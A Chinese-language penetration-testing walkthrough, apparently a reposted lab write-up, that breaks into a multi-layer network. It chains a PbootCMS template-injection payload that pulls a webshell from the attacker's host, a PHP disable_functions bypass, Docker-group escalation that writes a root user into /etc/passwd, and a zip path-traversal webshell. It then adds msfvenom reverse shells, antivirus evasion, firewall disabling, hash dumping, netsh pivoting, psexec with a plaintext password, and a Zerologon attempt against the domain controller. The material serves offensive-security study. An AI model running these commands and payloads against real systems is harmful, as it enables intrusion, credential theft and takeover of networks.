内网渗透思路09之突破多层防护拿下域控

一、网络示意图

在这里插入图片描述

此次最终目标是拿下有防护内网之中的DC机器。

二、信息收集

2.0 netdiscover存活探测

使用命令“ netdiscover -i eth0 -r 192.168.0.0/24 ”

在这里插入图片描述

2.1 端口扫描

可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息。

masscan 192.168.0.121 -p 1-65535 --rate=1000

在这里插入图片描述

这里同时可以ping一下这个IP,发现ttl是64,这个值一般是Linux。Win的一般是128.

在这里插入图片描述

nmap -sC -p 3306,22,8888,21,888,80 -A 192.168.0.121 -oA attack-linux

	-Sc 是调用默认脚本取探测

	-oA 是将结束输出到webhack文件中(会产生多个文件)

在这里插入图片描述

2.2 绑定hosts

通过上边的信息收集,大概知道目标是一个宝塔搭建的Linux主机。这就有点微微难搞,

毕竟宝塔的安全性做的还是蛮好的。访问一下80端口看看。要绑定域名。

在这里插入图片描述

绑定之后访问,发现是一个cms。

在这里插入图片描述

四、对目标进行渗透测试

4.1 测试外网Linux服务器

4.1.1 确认目标使用CMS版本信息
我们去百度搜索一下上边找到的cms,将源代码下载。

发现PbootCMS-3.0.3\doc目录下存在版本说明文件。我们尝试访问目标地址。

在这里插入图片描述

发现目标版本信息。

在这里插入图片描述

去官网将此版本下载。安装到本地。

在这里插入图片描述

4.1.2 测试CMS思路
去网上找找有没有已经爆出对应的版本漏洞,或者去找找有没有新版本发布。

对比新版本与目标安装版本,看看有哪些改动,特别是有一些修复的漏洞。

看看修复方式能不能绕过,这里先不展开。
4.1.3 目录扫描找到备份文件
按照正常渗透测试流程,先扫扫目录。

使用命令来扫描一下备份文件,Linux一般是tar.gz而win则是rar,zip。

gobuster dir -u http://www.cf1.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x "tar.gz"

在这里插入图片描述

直接访问下载,打开看看。

在这里插入图片描述

这里还有一个小技巧。就是Linux环境下,使用vim编辑一些文件遇到突然终端的情况,

有时候会产生一些临时文件,即在原文件名称后边加一个“~”。如该网站:

在这里插入图片描述

访问该文件,即可下载数据库信息。

在这里插入图片描述

将下载的文件,通过navcat打开。找到admin账户及其密码。

在这里插入图片描述

这种情况适用于,目标是Linux服务器。

有源代码,知道一些敏感文件(如配置文件)的具体路径,

我们直接使用浏览器访问这些配置文件,类似的临时文件还有swp。

如原文件名称是a.php将会产生“ .a.php.swp ”文件。

在这里插入图片描述

4.1.4 登录后台拿shell
通过上边我们得到账户密码(md5已经解开)为admin,admin7788

在这里插入图片描述

在网上看到一些此cms存在代码执行漏洞,其触发点在这,

在这里插入图片描述

测试phpinfo执行成功,但是想要写木马就有一些费事,

因为他的框架上边限制了很多危险函数,

在这里插入图片描述

最终思路如下:

先在本机写一个免杀一句马,用py开放访问。

在让目标来读取本机一句马并写入到一个新的文件中。

先在kali机器开放文件,

在这里插入图片描述

我们在站点描述处,填写以下代码并提交,
{
    
    pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),implode('',['<?php file_','put_','contents(','"xiaom.php",','file','_get_','contents("','http://192.168.0.105/2.txt"))?>'])))}!!!{
    
    /pboot:if}

在这里插入图片描述

然后访问一下首页去触发刚刚的内容,

在这里插入图片描述

成功触发,

在这里插入图片描述

目标已经来读取本机的小马文件了,

在这里插入图片描述

成功拿下,

在这里插入图片描述

4.1.5 bypass 宝塔disable_functions 执行命令
但是此时是无法执行命令的,

在这里插入图片描述

我们先将刚刚写木马的php文件内容改成phpinfo,不然每次访问都会去生成木马。

可以看到宝塔禁止的函数很多,

在这里插入图片描述

同时看到php的版本是7,这个版本有一些函数可以绕过宝塔的过滤进行命令执行。

在这里插入图片描述

下载地址:https://github.com/mm0r1/exploits 下载之后将文件上传到服务器,

在这里插入图片描述

访问exp文件,发现目标执行了“ uname -a ”命令,但是通过修改执行命令比较麻烦。

在这里插入图片描述

我们小改动一下脚本,

在这里插入图片描述

试试效果,

在这里插入图片描述

4.1.6 信息收集密钥登录ssh
此时发现脚本的输出都在同一行,不美观。在小改一下。

在这里插入图片描述

这样就会原样格式输出,

在这里插入图片描述

查看home文件夹,发现仅仅一个文件夹,

在这里插入图片描述

发现SSH的公钥与私钥。

在这里插入图片描述

将密钥复制保存,

在这里插入图片描述

执行连接,竟然还要密码。

在这里插入图片描述

疏忽了,还要给密钥文件设置权限。一般来说:
	
对.ssh目录设置700权限
	
	对id_rsa,authorized_keys文件设置600权限
	对id_rsa.pub,known_hosts文件设置644权限

所以,权限设置不对的话ssh登陆不上Linux系统

在这里插入图片描述

4.1.7 docker本地导入镜像文件提权root
查看当前目录,发现目前的cf1用户拥有sudo的权限,但是我们不知道当前用户的密码。

这就显得很鸡肋了。

在这里插入图片描述

继续收集信息发现当前用户处在docker组内,那这不就相当于在root组了。

在这里插入图片描述
Docker提权的原理:

正常操作docker的一些环境设置都需要sudo权限,但是有时候我想让a用户帮我操作docker且不想给他sudo权限。那就把a用户加入docker组。Docker组内成员和root都可以修改docker的配置,

貌似皆大欢喜的场面,但是也忽略了一个风险,即a用户可以利用docker进行提权。

具体原因如下:

docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;

也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统。在容器内对用户权限的修改,都等同于在主机上进行修改!!!
	
简单总结就是,docker通过挂载的功能,可以修改主机root文件的权限,进而进行提权。

	=================================================

我们先看看目标都有什么镜像,

在这里插入图片描述

没有发现alpine镜像(迷你的linux系统),直接使用命令“ docker pull alpine ”下载。

在这里插入图片描述

报错没有联网,那我们先去本地下载一个,在上传到目标。下载完毕后,

使用“ sudo docker save alpine > alpine.tar ”将镜像导出,

在这里插入图片描述

将文件复制到kali,

在这里插入图片描述

使用命令“ wget http://192.168.0.105:8080/alpine.tar ”将镜像下载到目标机器。

在这里插入图片描述

使用命令“ docker load <alpine.tar ”将镜像加载。

在这里插入图片描述

使用命令“ docker run -v /etc:/mnt -it alpine ”将目标容器的mnt目录挂载到目标etc目录,

并产生一个交互shell,此时通过访问容器的mnt目录就可以访问到目标etc目录下的内容,

在这里插入图片描述

4.1.8 openssl生成密文修改passwd获取root权限
此时我们可以增删改root下的文件了,

接下来我们通过修改passwd文件直接加一个root用户。

新开一个终端,执行命令“ openssl passwd -1 --salt xbb ”,写上密码后产生密文。

在这里插入图片描述

将字符串“ xbb:$1$xbb$b5Fi7l/eYp4JiqSd87JPC1:0:0::/root:/bin/bash ”加入passwd最后一行。

字符串根据etc/passwd的root修改就行。

在这里插入图片描述
在这里插入图片描述

退回到系统命令行,切换到我们的xbb用户,输入刚刚设置的密码xbb123456。

在这里插入图片描述

到此,我们的第一台主机搞定。

4.2 测试外网win服务器

4.2.1 安装nmap扫描内网WEB服务器
此时我们发现目标机器没有安装nmap,并且网络不通,

在这里插入图片描述

我们给他修改一些配置,调试一下网路,命令“ vi /etc/resolv.conf ”,

在这里插入图片描述

此时,在试试网络通不通,通顺直接“ apt  install nmap ”安装nmap。

在这里插入图片描述

看看网络信息,之后进行内网主机发现,命令“ nmap -sn 192.168.0.0/24 -T 4 -v ”。

在这里插入图片描述

发现我们的下一个目标124.

在这里插入图片描述

使用命令“ nmap -F 192.168.0.124 ”对目标进行一次快速扫描,

在这里插入图片描述

其实我们也可以安装masscan,来快速扫描开放了哪些端口。使用完毕记得卸载。

命令“ apt-get remove nmap ”

在这里插入图片描述

4.2.2 jspxcms 后台拿webshell
我们访问192.168.0.124:8080,发现后台。

在这里插入图片描述

弱密码,admin,123456直接登录进去。

在这里插入图片描述

网上找到存在一个目录穿越配合压缩包在线解压拿shell的思路。

为什么使用下边这么麻烦的的步骤,因为服务器存在杀软,所以要整一个免杀jsp。

先创建一个py文件,内容如下:

import zipfile
if __name__ == "__main__":
	try:
		binary = b'<script>alert("helloworld")</script>'
		zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
		info = zipfile.ZipInfo("test5.zip")
		zipFile.writestr("../../../xbb.html", binary)
		zipFile.close()
	except IOError as e:
		raise e

然后使用py2版本执行脚本,会生成一个压缩包,内涵一个html.

在这里插入图片描述

在加入一个后门war包,里边就一个jsp免杀木马,如图。

免杀马下载地址,https://github.com/SecurityRiskAdvisors 。

在这里插入图片描述

上传后点击解压,

在这里插入图片描述

去访问,发现木马成功上传。

在这里插入图片描述

木马需要主动连接,新建一个html,内容为

“ <script type="text/javascript" src="a.js"></script> ”,同时修改js文件内为目标地址,

在这里插入图片描述

打开html,测试命令,

在这里插入图片描述

执行成功,

在这里插入图片描述

但是文件上传功能不能正常使用。
4.2.3 上线MSF
经过测试msf的jsp木马竟然过了杀软,直接上线。

生成木马命令

“ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f raw > shell.jsp ”

生成jsp源代码保存到shell.jsp中。

在这里插入图片描述

使用命令“ jar -cvf shell.war shell.jsp ”将shell.jsp打包成shell.war中。

在这里插入图片描述

将shell.war也放到test5中。

在这里插入图片描述

删除刚刚上传的test5,重新上传新打包的,并解压。

在这里插入图片描述

访问一下,发现成功上传。

在这里插入图片描述

启动msf,并建立监听。“ set payload java/jsp_shell_reverse_tcp ”,

在这里插入图片描述

开启监听,刷新一下木马页面成功上线。

在这里插入图片描述

还是管理员权限,

在这里插入图片描述

看看360进程,全家桶都在。

在这里插入图片描述

4.2.4 免杀木马上线CS
使用CS做一个免杀木马,打包成压缩包。

在这里插入图片描述

上传解压缩,

在这里插入图片描述

通过“ cd /d c:/ ”与“ dir /S bp360.* ”命令找到上传文件的绝对路径。

在这里插入图片描述

一个回车,直接上线。记得上线后调整一些沉睡时间。

在这里插入图片描述

4.2.5 对tomcat-web内网主机收集NLTM 并破解
调整完毕沉睡时间之后,直接抓取明文与哈希。

在这里插入图片描述

高版本得win服务器一般都抓不到明文了,我们拿着哈希去破解一下。

在这里插入图片描述

利用445端口,小小探测一波内网存活主机。

在这里插入图片描述

本机IP是129,探测到128存活。同发现128存在域“ FBI ”。

在这里插入图片描述

对128扫一下常见端口,存活端口不多。

在这里插入图片描述

4.2.6 cobalt scrikte psexec登录内网服务器
使用命令“ shell dir \\10.10.1.128\c$ ”可以直接获取到目标得C盘信息,

在这里插入图片描述

这就说明,目标和当前机器得密码一样,这在内网环境是很常见的事情。

利用的原理就是哈希传递。使用pth直接攻击,失败。

在这里插入图片描述

4.2.7 上线MSF
使用命令

“ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=3344 -f csharp >msf.code ” 

创建木马,

注意上边的“ x64 ”。
在这里插入图片描述

将代码复制出来,使用掩日进行免杀。通过CS上传到服务器。

在这里插入图片描述

上传msf,

在这里插入图片描述

4.2.8 调试远程桌面连接目标机器
使用“ netstat ”发现目标没有开放3389端口,

在这里插入图片描述

使用“ run getgui -e ”来开启目标3389端口,

在这里插入图片描述

上边的意思是开启了,但是有点错误,被防火墙拦截了。

3389是已经开启了,但是此时是正常连接不上的。

在这里插入图片描述

使用命令将端口转发

portfwd add -l 3389 -p 3389 -r 192.168.0.124

即此时连接kali的3389就相当于连接目标的。但是会话掉了。

在这里插入图片描述

重新启动一下监听,再次上线后,再次启动端口转发,连接成功。

在这里插入图片描述
连接后,将360全家退出,win自带杀软关闭实时监控。也可以同时关闭防火墙,省的耽误接下来的操作。

这里有两点需要注意!
第一,	假如会话掉了,被360拦截了,就生成一个混淆几次的木马,
使用命令

“ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=3344 -i 5 -f csharp >msf.code ”

创建木马。
第二,	假如远程桌面连接提示错误,这是版本不兼容导致的。

用同样版本的或者是 win2016 的主机连接就能解决。

在这里插入图片描述

五、内网渗透

5.1 横向拿下文件服务器

5.1.1 metasploit 反向连接多层网段穿透防火墙得到meterpreter
到这,第二台外网服务器也拿下。且可以访问文档服务器的C盘。

此时思路:

传木马到文档服务器,让他反向出来连接外网win服务器,外网win服务器做个中转,

将会话反弹给kali。这中间要穿透文件服务器与外网win服务器的防火墙。

使用“ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.129 lport=7788 -f exe >msf.exe ”来生成连接外网win服务器7788端口的木马。

在这里插入图片描述

通过外网web服务器复制木马到文档服务器,

在这里插入图片描述

使用命令“ shell copy c:\msf.exe \\10.10.1.128\c$ ”复制文件到文件服务器。

在这里插入图片描述

上边记得看看是不是成功复制到了目标C盘,然后去msf上开启监听,

在这里插入图片描述

在外网win服务器上监听本机的7788端口,将监听到的流量全部转发给kali机器的7788端口,使用命令:
 shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.0.105 connectport=7788 
之后使用“ shell netsh interface portproxy show all ”查看有没有开启成功,

在这里插入图片描述


通过远程桌面连接,将psexec  上传到外网win服务器,

命令“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/msf.exe ”。

在这里插入图片描述

但是,此时msf并没有上线,这就很奇怪了,

在这里插入图片描述

这里猜测是防火墙的原因,我们调整一下,开发7788端口,好让外网win服务器来接收文件服务器。使用命令:
shell netsh advfirewall firewall add rule name="7788" protocol=TCP dir=in localport=7788 action=allow
成功接到会话。

在这里插入图片描述

查看用户,恩嗯是文件服务器。

在这里插入图片描述

5.1.2 补充,防火墙,psexec说明
(1)
	这里多说一下,一般防火墙是防止别人通过端口连接或者访问到本机,

	但是一般不会拦截本机流量出去。

	所以这里对文件服务器生成的反向连接木马,让文件服务器来连接外网win服务器。
	
	且让外网win服务器放行7788端口,好让文件服务器的流量进来。

(2)
	
	还有一点,其实在上边psexec那,我们使用命令
	
	“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -s cmd ”
	
	就可以执行文件服务器上的命令了。

(3)
	
	端口流量转发利用的Windows自带服务:netsh interface portproxy 。

在这里插入图片描述

5.1.3 对内网进行信息收集
(1)看看网络信息,发现目标在fbi域内。且dns服务器为10.10.10.139(疑似域控)。

在这里插入图片描述

(2)使用arp -a看到缓存中,10段内网仅仅139存活。

在这里插入图片描述

增加路由,开启socks代理。准备扫扫这个可疑Ip。

在这里插入图片描述

扫描是开发状态,“ proxychains nmap -sT -Pn 10.10.10.139 -p 445,88 ”

一般域控的88端口都是开放的。

在这里插入图片描述

(3)直接ping dc,也可以发现域控。

在这里插入图片描述

(4)使用“ run post/windows/gather/enum_domain ” 也可以发现域控。

在这里插入图片描述

5.1.4 使用cve-2020-1472拿下域控
下载脚本地址“ https://github.com/SecuraBV/CVE-2020-1472 ”。

发现目标易受到攻击。

在这里插入图片描述

接下来获取哈希失败就不放图了。

5.2 使用CS横向拿下文件服务器

5.2.1 第一种方法
思路与msf基本一致,

传木马到文档服务器,让他反向出来连接外网win服务器,外网win服务器做个中转,

将会话反弹给kali的CS。这中间要穿透文件服务器与外网win服务器的防火墙。

到这里,防火墙一般不是问题,因为反弹会话的木马,文件服务器的防火墙是不会拦截的。

主要就是关闭外网win服务器的防火墙,或者放行响应的端口。


新建监听,让木马将会话反弹给外网win服务器。

在这里插入图片描述

生成后门,选择这个木马。

在这里插入图片描述

选择刚刚新建的“ 中转 ”监听器,

在这里插入图片描述

将木马上传到外网win服务器,

在这里插入图片描述

使用命令

“ shell copy c:\beacon.exe \\10.10.1.128\c$ ”

将木马复制到文件服务器上,并查看是否成功复制,

在这里插入图片描述

	先关闭外网win服务器的防火墙,免得一会接收不到文件服务器的流量,
	
	关闭防火墙的命令“ netsh advfirewall set allprofiles state off ”,
	
	查看防火墙状态“ Netsh Advfirewall show allprofiles ”

在这里插入图片描述

在外网win服务器上,建立中转会话,一会将7790端口接到文件服务器的会话反弹到CS的7791端口。
转发流量命令

	“ shell netsh interface portproxy add v4tov4 listenport=7790 connectaddress=192.168.0.105 connectport=7791 ”

查看流量命令

	“ shell netsh interface portproxy show all ”

在这里插入图片描述

在cs上,新建监听,来接收一会外网win服务器转发的流量,

在这里插入图片描述

万事俱备,就差在文件服务器上运行木马程序,

使用psexec,在外网win服务器上连接到文件服务器

“ Psexec.exe \\10.10.1.128 -u administrator -p QWEasd123 -s “

在这里插入图片描述

执行木马,上线CS。

在这里插入图片描述

5.2.2 第二种方法
先把外网win服务器的防火墙开启,

在这里插入图片描述

新建监听,在外网win服务器的会话上建立,

在这里插入图片描述

具体设置如下,

在这里插入图片描述

生成木马,

在这里插入图片描述

上传到文件服务器并执行。具体步骤不在细说,见上边。

在这里插入图片描述

在外网win服务器上建立端口转发规则

“ shell netsh advfirewall firewall add rule name="7792" protocol=TCP dir=in localport=7792 action=allow “。

在这里插入图片描述

执行木马,上线CS。

在这里插入图片描述

5.2.3 对内网进行信息收集
使用ipconfig /all来看看网卡信息,发现是在域内。

在这里插入图片描述

使用“ shell net view domain “来列举域内信息,无法列出。

在这里插入图片描述

使用“ apr -a “来查看网络缓存中的主机,发现内网的另一台主机。

在这里插入图片描述


对常见端口进行扫描,发现10.10.10.139名字是dc,一般域控都会开放88端口。

使用命令“ portscan 10.10.10.139 445,88 arp “

在这里插入图片描述

直接ping dc也可以发现域控就是139主机。

在这里插入图片描述

5.2.4 使用cve-2020-1472拿下域控
先开启socks代理。

在这里插入图片描述

将cmd加入代理软件。

在这里插入图片描述


在隧道中打开cmd,cd到CVE-2020-1472文件夹,使用命名:

“ python3 CVE-2020-1472.py dc dc$ 10.10.10.139 ”来探测域控是否存在漏洞。

经过几分钟等待,发现存在漏洞。

在这里插入图片描述

下载Impacket ,使用“ python3 setup.py install ”下载最新得版本。

在这里插入图片描述


在代理的cmd中,执行。

“ python3 secretsdump.py fbi/dc\$@10.10.10.139 -just-dc -hashes : ”

接下来,没有成功。。。。就不放图了,很迷。

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/117446065